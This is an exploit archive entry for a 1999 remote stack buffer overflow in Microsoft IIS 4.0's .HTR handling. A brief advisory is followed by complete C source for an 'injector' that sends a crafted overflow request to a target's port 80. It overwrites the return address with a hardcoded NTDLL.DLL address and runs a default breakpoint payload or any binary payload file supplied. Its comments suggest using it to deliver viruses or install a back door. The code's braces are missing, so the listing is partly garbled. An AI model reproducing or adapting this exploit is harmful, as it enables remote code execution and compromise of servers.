Microsoft IIS 4.0 - Remote Buffer Overflow (4)

Type exploitpack
Reporter Greg Hoglund
Modified 1999-06-15T00:00:00


Microsoft IIS 4.0 - Remote Buffer Overflow (4)

                                            // source:
Microsoft IIS reported prone to a buffer overflow vulnerability in the way IIS handles requests for several file types that require server side processing. This vulnerability may allow a remote attacker to execute arbitrary code on the target machine.
IIS supports a number of file extensions that require futher processing. When a request is made for one of these types of files a specific DLL processes it. A stack buffer overflow vulnerability exists in several of these DLL's while handling .HTR, .STM or .IDC extensions.

// IIS Injector for NT
// written by Greg Hoglund <>
// If you would like to deliver a payload, it must be stored in a binary file.
// This injector decouples the payload from the injection code allowing you to
// create a numnber of different attack payloads.  This code could be used, for
// example, by a military that needs to attack IIS servers, and has characterized
// the eligible hosts.  The proper attack can be chosen depending on needs. Since
// the payload is so large with this injection vector, many options are available.
// First and foremost, virii can delivered with ease.  The payload is also plenty
// large enough to remotely download and install a back door program.
// Considering the monoculture of NT IIS servers out on the 'Net, this represents a
// very serious security problem.

#include <windows.h>
#include <stdio.h>
#include <winsock.h>

void main(int argc, char **argv)
        SOCKET s = 0;
        WSADATA wsaData;

        if(argc < 2)
                fprintf(stderr, "IIS Injector for NT\nwritten by Greg Hoglund, " \
                        "\nUsage: %s <target" \
                                                "ip> <optional payload file>\n", argv[0]);

        WSAStartup(MAKEWORD(2,0), &wsaData);

        s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(INVALID_SOCKET != s)
                SOCKADDR_IN anAddr;
                anAddr.sin_family = AF_INET;
                anAddr.sin_port = htons(80);
                anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);
                if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr)))
                        static char theSploit[4096];
                        // fill pattern
                        char kick = 'z'; //0x7a
                        char place = 'A';

                        // my uber sweet pattern gener@t0r
                        for(int i=0;i<4096;i+=4)
                                theSploit[i] = kick;
                                theSploit[i+1] = place;
                                theSploit[i+2] = place + 1;
                                theSploit[i+3] = place + 2;

                                if(++place == 'Y') // beyond 'XYZ'
                                        place = 'A';
                                        if(--kick < 'a') kick = 'a';

                        _snprintf(theSploit, 5, "get /");
                        _snprintf(theSploit + 3005, 22, "BBBB.htr HTTP/1.0\r\n\r\n\0");

                        // after crash, looks like inetinfo.exe is jumping to    the address
                        // stored @ location 'GHtG' (0x47744847)
                        // cross reference back to the buffer pattern, looks like we need
                        // to store our EIP into theSploit[598]

                        // magic eip into NTDLL.DLL   
                        theSploit[598] = (char)0xF0;
                        theSploit[599] = (char)0x8C;
                        theSploit[600] = (char)0xF8;
                        theSploit[601] = (char)0x77;
                        // code I want to execute
                        // will jump foward over the
                        // embedded eip, taking us
                        // directly to the payload
                        theSploit[594] = (char)0x90;  //nop
                        theSploit[595] = (char)0xEB;  //jmp
                        theSploit[596] = (char)0x35;  //
                        theSploit[597] = (char)0x90;  //nop
                        // the payload.  This code is executed remotely.
                        // if no payload is supplied on stdin, then this default
                        // payload is used.  int 3 is the debug interrupt and
                        // will cause your debugger to "breakpoint" gracefully.
                        // upon examiniation you will find that you are sitting
                        // directly in this code-payload.
                        if(argc < 3)
                                theSploit[650] = (char) 0x90; //nop
                                theSploit[651] = (char) 0x90; //nop
                                theSploit[652] = (char) 0x90; //nop
                                theSploit[653] = (char) 0x90; //nop
                                theSploit[654] = (char) 0xCC; //int 3
                                theSploit[655] = (char) 0xCC; //int 3
                                theSploit[656] = (char) 0xCC; //int 3
                                theSploit[657] = (char) 0xCC; //int 3
                                theSploit[658] = (char) 0x90; //nop
                                theSploit[659] = (char) 0x90; //nop
                                theSploit[660] = (char) 0x90; //nop  
                                theSploit[661] = (char) 0x90; //nop
                                // send the user-supplied payload from
                                // a file.  Yes, that's a 2K buffer for
                                // mobile code.  Yes, that's big.
                                FILE *in_file;
                                in_file = fopen(argv[2], "rb");
                                        int offset = 650;
                                        while( (!feof(in_file)) && (offset < 3000))
                                                theSploit[offset++] = fgetc(in_file);
                        send(s, theSploit, strlen(theSploit), 0);